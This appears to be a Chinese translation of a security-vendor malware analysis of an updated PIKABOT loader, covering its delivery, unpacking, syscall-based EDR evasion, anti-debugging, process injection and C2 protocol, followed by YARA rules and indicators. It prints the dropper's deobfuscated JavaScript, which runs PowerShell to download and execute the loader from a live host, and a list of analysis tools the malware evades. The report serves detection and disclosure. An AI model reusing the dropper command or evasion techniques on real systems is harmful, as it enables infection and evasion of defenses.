PIKABOT 概览
PIKABOT 是一种广泛部署的加载器,恶意行为者利用它来分发 Cobalt Strike 或启动勒索软件等有效载荷。2 月 8 日,Elastic Security Labs 团队观察到新的 PIKABOT 活动,包括一个更新的变体。这个版本的 PIKABOT 加载器使用新的解包方法和大量的混淆。核心模块添加了新的字符串解密实现、混淆功能更改以及各种其他修改。
本文将重点介绍初始活动,分解新的加载器功能,并审查核心组件。这个新更新中有一些有趣的设计选择,我们认为这是一个新代码库的开始,随着时间的推移会进一步改进。虽然功能与之前的构建类似,但这些新更新可能已经破坏了签名和以前的工具。
在进行这项研究的过程中,Zscaler 的 ThreatLabz 团队发布了对与本文中样本重叠的样本的精彩分析和见解。我们建议阅读他们的工作以及我们的工作,以全面了解这些 PIKABOT 的变化。
主要发现
- 涉及对 PIKABOT 加载器和核心组件进行重大更新的新活动
- PIKABOT 加载器使用一种新的解包技术,即将来自
.data
部分的 base64 格式的加密数据分散块组合起来 - 核心组件的更改包括减少混淆和内联 RC4 函数、运行时明文配置、删除网络通信期间的 AES
- PIKABOT 的开发似乎正在进行中,未来可能会有更新
- 使用 Elastic Security 的调用堆栈可见性提供了快速分类 PIKABOT 等威胁的能力
PIKABOT 活动概述
新年伊始,PIKABOT 的分发一直处于非活动状态,直到大约两周前。2 月 8 日的这项新活动涉及带有超链接的电子邮件,这些超链接指向包含恶意混淆的 Javascript 脚本的 ZIP 存档文件。
以下是混淆的 JavaScript 文件的内容,显示了使用 PowerShell 下载和执行 PIKABOT 加载器的下一个序列。
// deobfuscated
var sites = ['https://gloverstech[.]com/tJWz9/', '', '']
for (var i = 0x0; i < 3; i++)
{
var obj = new ActiveXObject("WScript.Shell")
obj['Run']("powershell Invoke-WebRequest https://gloverstech[.]com/tJWz9/0.2343379541861872.dat -OutFile %SYSTEMDRIVE%\\Users\\Public\\Jrdhtjydhjf.exe; saps %SYSTEMDRIVE%\\Users\\Public\\Jrdhtjydhjf.exe")
}
PIKABOT 加载器
加载器阶段 1
为了使其看起来真实,开发人员篡改了一个名为 grepWinNP3.exe
的合法搜索和替换工具,该工具来自此存储库。使用我们的内部沙箱项目 (Detonate) 并利用 Elastic Defend 的调用堆栈功能提供了执行的详细跟踪,使我们能够精确定位恶意代码的入口点。
对调用堆栈数据的分析表明,执行开始于恶意文件中偏移量 0x81aa7
之前的调用;然后执行跳转到偏移量 0x25d84
之前的调用的内存分配。此外,观察到进程创建调用堆栈缺少对 KernelBase.dll!CreateProcessInternalW
和 ntdll.dll!NtCreateUserProcess
的正常调用,这是因为使用了位于未支持内存中的 shellcode 执行的 syscall。通过使用此实现,它将绕过 WOW64 模块上的用户模式钩子,以逃避 EDR 产品。
查看恶意文件的偏移量 0x81aa7
,并与 grepWinNP3.exe
文件的经过验证的良性版本进行并排代码比较,我们发现了一些独特且不寻常的地方:一个硬编码的地址来执行 PIKABOT 加载器,这标志着 PIKABOT 加载器的入口点。
恶意代码采用了大量的混淆,使用了一种技术,其中每个汇编指令之后都跟随一个跳转 (JMP
)。这种方法通过破坏直接执行流程来显著复杂化分析。
加载器从 .text
部分提取其阶段 2 有效载荷,其中它以 0x94
字节的块存储,然后再合并这些片段。然后,它采用一种看似自定义的解密算法,该算法利用按位运算。
该过程的下一步是在当前执行的进程的范围内反射性地加载 PE 文件。这种技术涉及将 PE 文件的内容动态加载到内存中并执行它,而无需将文件实际写入磁盘。这种方法不仅通过消除外部文件交互的必要性来简化执行过程,而且还通过最大程度地减少主机系统上留下的数字足迹来显著增强隐蔽性。
加载器阶段 2
阶段 2 加载器的任务是在新建立的进程中初始化 PIKABOT 核心,它采用了与核心本身中类似的代码和字符串混淆技术。除了混淆功能外,加载器还包含一系列高级反调试对策。
反调试
该恶意软件使用特定的 NTDLL Zw
API 进行各种操作,包括调试器检测、进程创建和注入,旨在避开检测机制的雷达,并逃避 EDR(端点检测和响应)用户域挂钩以及调试尝试。
它直接执行 syscall,绕过更容易受到监视和拦截的传统 API 调用。它使用一个包装函数,该函数有助于在 64 位模式下执行 syscall,该函数将 Zw
API 名称的哈希值作为参数。
包装函数通过解析加载的 NTDLL 并匹配 Zw
函数名称的哈希值来提取系统调用 ID。找到正确的系统调用 ID 后,它会使用 Wow64Transition
Windows API 在 64 位模式下执行系统调用。
请注意,所需的参数在调用包装函数之前被压入堆栈。以下示例展示了使用设置为 ProcessDebugPort
(7) 的 ProcessInformationClass
的 ZwQueryInformationProcess
调用。
该恶意软件采用了一系列反调试技术,旨在阻止调试和取证工具的检测。这些技术包括:
- 调用带有
SystemKernelDebuggerInformation
参数的ZwQuerySystemInformation
来检测内核调试器的存在。 - 调用带有设置为
ProcessDebugPort
的ProcessInformationClass
的ZwQueryInformationProcess
来识别与进程关联的任何调试端口。 - 再次调用
ZwQueryInformationProcess
,但这次使用设置为ProcessDebugFlags
参数的ProcessInformationClass
,以确定进程是否被标记为调试。 - 检查进程环境块 (PEB) 中的
BeingDebugged
标志,该标志指示进程当前是否正在被调试。 - 使用
GetThreadContext
来检测硬件断点。扫描当前正在运行的进程列表,以识别任何活动的调试或取证工具。
有趣的是,我们发现一个错误,它检查的一些进程名称的第一个字节被置零,这可能表明是恶意软件作者的错误,或者是由混淆工具添加的不良副作用。可以在本文末尾找到要检查的完整进程名称列表。
执行
加载程序使用 NTDLL 和 KERNEL32 库中必要的 API 地址填充一个全局变量。此步骤对于恶意软件的运行至关重要,因为执行后续任务需要这些地址。请注意,加载程序采用了一种独特的 API 名称哈希算法,与之前用于 Zw
API 的哈希算法不同。
以下是重建的结构
struct global_variable
{
int debugger_detected;
void* LdrLoadDll;
void* LdrGetProcedureAddress;
void* RtlAllocateHeap;
void* RtlFreeHeap;
void* RtlDecompressBuffer;
void* RtlCreateProcessParametersEx;
void* RtlDestroyProcessParameters;
void* ExitProcess;
void* CheckRemoteDebuggerPresent;
void* VirtualAlloc;
void* GetThreadContext;
void* VirtualFree;
void* CreateToolhelp32Snapshot;
void* Process32FirstW;
void* Process32NextW;
void* ntdll_module;
void* kernel32_dll;
int field_48;
uint8_t* ptr_decrypted_PIKABOT_core;
int decrypted_PIKABOT_core_size;
TEB* TEB;
};
加载程序结构
然后,恶意软件将分散在 .data
部分的 PIKABOT 核心的字节整合为 base64 编码的块,这与之前从其资源部分加载一组 PNG 的版本相比值得注意。
它执行一系列九个不同的函数,每个函数执行类似的操作,但参数不同。每个函数都使用一个内联进程来解密 RC4 密钥,该进程使用看起来合法的字符串。然后,该函数在解密字节之前对每个块进行 base64 解码。
在整合了解密的字节后,它使用 RtlDecompressBuffer
API 对其进行解压缩。
加载程序使用 ZwCreateUserProcess
系统调用创建 ctfmon.exe
的挂起实例,这是一种伪装成合法 Windows 进程的策略。接下来,它通过 ZwAllocateVirtualMemory
系统调用远程分配一个大的内存区域,以容纳 PIKABOT 核心的 PE 文件。
随后,加载程序使用 ZwWriteVirtualMemory
系统调用将 PIKABOT 核心写入新分配的内存区域。然后,它通过调用 SetContextThread
API 更改线程的执行地址,从而将执行流程从 ctfmon.exe
重定向到恶意的 PIKABOT 核心。最后,它使用 ZwResumeThread
系统调用恢复线程。
PIKABOT 核心
更新后的 PIKABOT 核心的整体行为和功能与之前的版本相似:该机器人从受害者机器收集初始数据,并向威胁行为者提供命令和控制访问权限,以启用诸如命令行执行、发现或通过注入启动其他有效负载之类的攻击后行为。
值得注意的差异包括:
- 具有更少内联函数的新混淆风格
- 用于解密字符串的多种实现
- 运行时使用纯文本配置,移除了 JSON 格式
- 网络通信使用 RC4 加字节交换,移除了 AES
混淆
最明显的差异之一是围绕 PIKABOT 的混淆。此版本包含一个大幅减少混淆的二进制文件,但提供了与旧版本类似的熟悉感。新更新后,仅剩下少量内联 RC4 函数,而不是大量内联 RC4 函数。不幸的是,仍然对全局变量和垃圾指令应用了大量的混淆。
以下是插入到恶意软件实际代码之间的垃圾代码的典型示例,仅是为了延长分析时间并增加混乱。
字符串解密
如前所述,仍有一些内联 RC4 函数用于解密字符串。在之前的版本中,核心使用 base64 编码作为额外步骤,并结合使用 AES 和 RC4 来模糊字符串;在此核心版本中,我们没有看到 base64 编码或 AES 用于字符串解密。
以下是用于解密硬编码互斥锁的剩余内联 RC4 函数的一个实例。在此版本中,PIKABOT 继续使用其标志性的合法字符串作为 RC4 密钥来解密数据。
在这个新版本中,PIKABOT 通过使用堆栈字符串并将单个字符以随机顺序放入数组中,从而包含了一个不同的字符串混淆实现。以下是使用 netapi32.dll
的示例
反调试
在此版本的反调试方面,PIKABOT 会检查 PEB 中的 BeingDebuggedFlag
,同时使用 CheckRemoteDebuggerPresent
。在我们的样本中,如果附加了调试器,则会返回一个硬编码值(0x2500
)。不幸的是,这些检查并非位于单个位置,而是分散在二进制文件的不同位置,例如在发出网络请求之前。
执行
关于执行和整体行为,PIKABOT 的核心与旧版本的执行流程非常相似。执行后,PIKABOT 会解析 PEB 并使用 API 哈希来解析运行时所需的库。接下来,它通过使用 GetUserDefaultLangID
验证语言标识符来验证受害者机器。如果 LangID
设置为俄语(0x419
)或乌克兰语(0x422
),恶意软件将立即停止执行。
在语言检查之后,PIKABOT 会创建一个互斥锁,以防止在同一台计算机上再次感染。我们的样本使用了以下互斥锁:{6F70D3AF-34EF-433C-A803-E83654F6FD7C}
接下来,恶意软件将使用系统卷号与主机名和用户名结合生成来自受害者机器的 UUID。然后,PIKABOT 将生成一个由 RtlRandomEx
种子化的唯一 RC4 密钥,然后将该密钥放入配置结构中,以供稍后在其网络通信期间使用。
初始收集
下一阶段涉及收集受害者机器信息并将数据放入自定义结构中,然后在初始签入请求后对其进行加密并发送出去。以下操作用于识别受害者及其网络的指纹:
- 检索与 PIKABOT 线程关联的用户的名称
- 检索计算机名称
- 获取处理器信息
- 使用
EnumDisplayDevicesW
获取显示设备信息 - 使用
DsGetDcNameW
检索域控制器信息 - 使用
GlobalMemoryStatusEx
收集有关物理和虚拟内存的当前使用情况 - 使用
GetWindowRect
获取窗口尺寸,用于识别沙箱环境 - 使用
RtlGetVersion
检索 Windows OS 产品信息 - 使用
CreateToolhelp32Snapshot
检索进程信息
配置
此新版本中一个奇怪的开发决策是围绕恶意软件配置。在运行时,配置以纯文本形式存在,并位于内存中的一个位置。这最终会在内存中被擦除。我们认为这只是暂时的,因为之前的版本保护了配置,并且这已成为处理普遍恶意软件系列时的标准期望。
网络
PIKABOT 使用非传统端口(2967、2223 等)通过 HTTPS 进行网络通信,并使用 User-Agent Microsoft Office/14.0 (Windows NT 6.1; Microsoft Outlook 14.0.7166; Pro)
。PIKABOT 核心模块的构建编号由配置拼接而成,可以在加密的网络请求中找到,我们分析的版本标记为 1.8.32-beta
。
在首次与 C2 服务器建立连接的请求中,PIKABOT 会注册该 bot,同时发送之前收集的、使用 RC4 加密的信息。RC4 密钥在初始数据包的偏移量 (0x10
) 处发送。如前所述,PIKABOT 在其网络通信中不再使用 AES。
POST https://158.220.80.167:2967/api/admin.teams.settings.setIcon HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Accept: */*
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.8
User-Agent: Microsoft Office/14.0 (Windows NT 6.1; Microsoft Outlook 14.0.7166; Pro)
Content-Length: 6778
Host: 158.220.80.167:2967
00001a7600001291000016870000000cbed67c4482a40ad2fc20924a06f614a40256fca898d6d2e88eecc638048874a8524d73037ab3b003be6453b7d3971ef2d449e3edf6c04a9b8a97e149a614ebd34843448608687698bae262d662b73bb316692e52e5840c51a0bad86e33c6f8926eb850c2...
PIKABOT 首次连接请求
对于每个出站网络请求,PIKABOT 会随机选择以下 URI 之一
/api/admin.conversations.convertToPrivate
/api/admin.conversations.getConversationPrefs
/api/admin.conversations.restrictAccess.removeGroup
/api/admin.emoji.add
/api/admin.emoji.addAlias
/api/admin.emoji.list
/api/admin.inviteRequests.approved.list
/api/admin.teams.admins.list
/api/admin.teams.settings.setIcon
/api/admin.usergroups.addTeams
/api/admin.users.session.reset
/api/apps.permissions.users.list
PIKABOT C2 请求中使用的 URI 列表
与之前的版本不同,之前的版本使用 JSON 将受害者数据以结构化格式放置,而这些请求中的数据是原始字节。前 16 个字节用于传递特定的配置信息(bot 命令 ID、字节移位等)。接下来的 32 个字节嵌入了会话的 RC4 密钥,然后是请求中的加密数据。
还有一个额外的转换,即开发人员在运行时添加了随机的字节移位。在下面的示例请求中,偏移量 (0xF
) 处的这个数字 (0x18
) 表示从加密数据末尾到加密数据开头需要移位的字节数。在我们的示例中,为了成功解密数据,需要将最后 18 个字节放在字节 (0xDA 0x9E
) 的前面。
Bot 功能
就核心 bot 功能而言,它与之前的版本类似:执行命令、执行发现以及进程注入功能。从我们的角度来看,它仍然非常像一个正在进行中的工作。一个命令 ID (0x982
) 是一个空函数,在另一种情况下,有三个唯一的命令 ID 指向同一个函数。这些都表明该软件尚未完全完成。
命令 ID | 描述 |
---|---|
0x1FED | 信标超时 |
0x1A5A | 退出 PIKABOT 进程 |
0x2672 | 包含混淆,但似乎没有任何有意义的操作 |
0x246F | 在磁盘上创建文件并修改与配置相关的注册表 |
0xACB | 带有输出的命令行执行 |
0x36C | 在远程进程中注入 PE |
0x792 | 在远程进程中注入 Shellcode |
0x359, 0x3A6, 0x240 | 与 0xACB 类似的命令行执行,使用自定义错误代码 (0x1B3) |
0x985 | 进程枚举,类似于初始受害者收集枚举 |
0x982 | 空函数 |
恶意软件和 MITRE ATT&CK
Elastic 使用 MITRE ATT&CK 框架来记录高级持续威胁针对企业网络使用的常见策略、技术和规程。
策略
策略代表技术或子技术的原因。它是攻击者的战术目标:执行操作的原因。
技术
技术代表攻击者如何通过执行操作来实现战术目标。
检测恶意软件
预防
YARA
Elastic Security 创建了 YARA 规则来识别此活动。以下是用于识别 PIKABOT 的 YARA 规则
rule Windows_Trojan_Pikabot_5441f511 {
meta:
author = "Elastic Security"
creation_date = "2024-02-15"
last_modified = "2024-02-15"
license = "Elastic License v2"
description = "Related to PIKABOT core"
os = "Windows"
arch = "x86"
threat_name = "Windows.Trojan.PIKABOT"
strings:
$handler_table = { 72 26 [6] 6F 24 [6] CB 0A [6] 6C 03 [6] 92 07 }
$api_hashing = { 3C 60 76 ?? 83 E8 20 8B 0D ?? ?? ?? ?? 6B FF 21 }
$debug_check = { A1 ?? ?? ?? ?? FF 50 ?? 50 50 80 7E ?? 01 74 ?? 83 7D ?? 00 75 ?? }
$checksum = { 55 89 E5 8B 55 08 69 02 E1 10 00 00 05 38 15 00 00 89 02 5D C3 }
$load_sycall = { 8F 05 ?? ?? ?? ?? 83 C0 04 50 8F 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 04 A3 ?? ?? ?? ?? 31 C0 64 8B 0D C0 00 00 00 85 C9 }
$read_xbyte_config = { 8B 43 04 8B 55 F4 B9 FC FF FF FF 83 C0 04 29 D1 01 4B 0C 8D 0C 10 89 4B 04 85 F6 ?? ?? 89 16 89 C3 }
condition:
2 of them
}
rule Windows_Trojan_Pikabot_95db8b5a {
meta:
author = "Elastic Security"
creation_date = "2024-02-15"
last_modified = "2024-02-15"
license = "Elastic License v2"
description = "Related to PIKABOT loader"
os = "Windows"
arch = "x86"
threat_name = "Windows.Trojan.PIKABOT"
strings:
$syscall_ZwQueryInfoProcess = { 68 9B 8B 16 88 E8 73 FF FF FF }
$syscall_ZwCreateUserProcess = { 68 B2 CE 2E CF E8 5F FF FF FF }
$load_sycall = { 8F 05 ?? ?? ?? ?? 83 C0 04 50 8F 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 04 A3 ?? ?? ?? ?? 31 C0 64 8B 0D C0 00 00 00 85 C9 }
$payload_chunking = { 8A 84 35 ?? ?? ?? ?? 8A 95 ?? ?? ?? ?? 88 84 1D ?? ?? ?? ?? 88 94 35 ?? ?? ?? ?? 02 94 1D ?? ?? ?? ?? }
$loader_rc4_decrypt_chunk = { F7 FF 8A 84 15 ?? ?? ?? ?? 89 D1 8A 94 1D ?? ?? ?? ?? 88 94 0D ?? ?? ?? ?? 8B 55 08 88 84 1D ?? ?? ?? ?? 02 84 0D ?? ?? ?? ?? 0F B6 C0 8A 84 05 ?? ?? ?? ?? 32 04 32 }
condition:
2 of them
}
观察结果
所有可观察对象也可在 ECS 和 STIX 格式中 下载。
本研究中讨论了以下可观察对象。
可观察对象 | 类型 | 名称 | 参考 |
---|---|---|---|
2f66fb872c9699e04e54e5eaef982784b393a5ea260129a1e2484dd273a5a88b | SHA-256 | Opc.zip | 包含混淆 JavaScript 的 Zip 存档 |
ca5fb5814ec62c8f04936740aabe2664b3c7d036203afbd8425cd67cf1f4b79d | SHA-256 | grepWinNP3.exe | PIKABOT 加载器 |
139.84.237[.]229:2967 | ipv4-addr | PIKABOT C2 服务器 | |
85.239.243[.]155:5000 | ipv4-addr | PIKABOT C2 服务器 | |
104.129.55[.]104:2223 | ipv4-addr | PIKABOT C2 服务器 | |
37.60.242[.]85:9785 | ipv4-addr | PIKABOT C2 服务器 | |
95.179.191[.]137:5938 | ipv4-addr | PIKABOT C2 服务器 | |
65.20.66[.]218:5938 | ipv4-addr | PIKABOT C2 服务器 | |
158.220.80[.]157:9785 | ipv4-addr | PIKABOT C2 服务器 | |
104.129.55[.]103:2224 | ipv4-addr | PIKABOT C2 服务器 | |
158.220.80[.]167:2967 | ipv4-addr | PIKABOT C2 服务器 | |
entrevientos.com[.]ar | 域 | 用于 zip 存档的托管基础设施 | |
gloverstech[.]com | 域 | 用于 PIKABOT 加载器的托管基础设施 |
参考
以下是上述研究中引用的内容
- https://www.zscaler.com/blogs/security-research/d-evolution-PIKABOT
- https://x.com/Cryptolaemus1/status/1755655639370514595?s=20
附录
Process Name Checks
tcpview.exe
filemon.exe
autoruns.exe
autorunsc.exe
ProcessHacker.exe
procmon.exe
procexp.exe
idaq.exe
regmon.exe
idaq64.exe
x32dbg.exe
x64dbg.exe
Fiddler.exe
httpdebugger.exe
cheatengine-i386.exe
cheatengine-x86_64.exe
cheatengine-x86_64-SSE4-AVX2.exe
PETools.exe
LordPE.exe
SysInspector.exe
proc_analyzer.exe
sysAnalyzer.exe
sniff_hit.exe
windbg.exe
joeboxcontrol.exe
joeboxserver.exe
ResourceHacker.exe
ImmunityDebugger.exe
Wireshark.exe
dumpcap.exe
HookExplorer.exe
ImportREC.exe